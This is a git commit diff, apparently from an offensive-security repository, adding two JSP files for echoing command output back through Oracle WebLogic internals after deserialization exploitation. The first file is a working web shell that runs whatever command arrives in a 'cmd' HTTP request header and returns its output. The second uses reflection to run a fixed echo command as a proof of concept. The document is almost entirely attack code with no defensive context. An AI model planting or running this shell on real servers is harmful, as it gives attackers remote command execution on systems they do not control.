weblogic反序列化回显

feihong · feihong · commit d0b5bd56186e · 2020-07-14T11:51:20.000+08:00
diff --git a/weblogic/code/weblogic-10.0.3.jsp b/weblogic/code/weblogic-10.0.3.jsp
@@ -0,0 +1,10 @@
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<%
+	String cmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("cmd");
+	String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+	weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
+	weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
+	outputStream.writeStream(new weblogic.xml.util.StringInputStream(res));
+	outputStream.flush();
+	response.getWriter().write("");
+%>
diff --git a/weblogic/code/weblogic-12.1.3.jsp b/weblogic/code/weblogic-12.1.3.jsp
@@ -0,0 +1,11 @@
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+<%
+	java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
+	field.setAccessible(true);
+	HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
+	String cmd = "echo \"It works!\"";
+	String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+	httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(res));
+	httpConn.getServletRequest().getResponse().getServletOutputStream().flush();
+	httpConn.getServletRequest().getResponse().getWriter().write("");
+%>
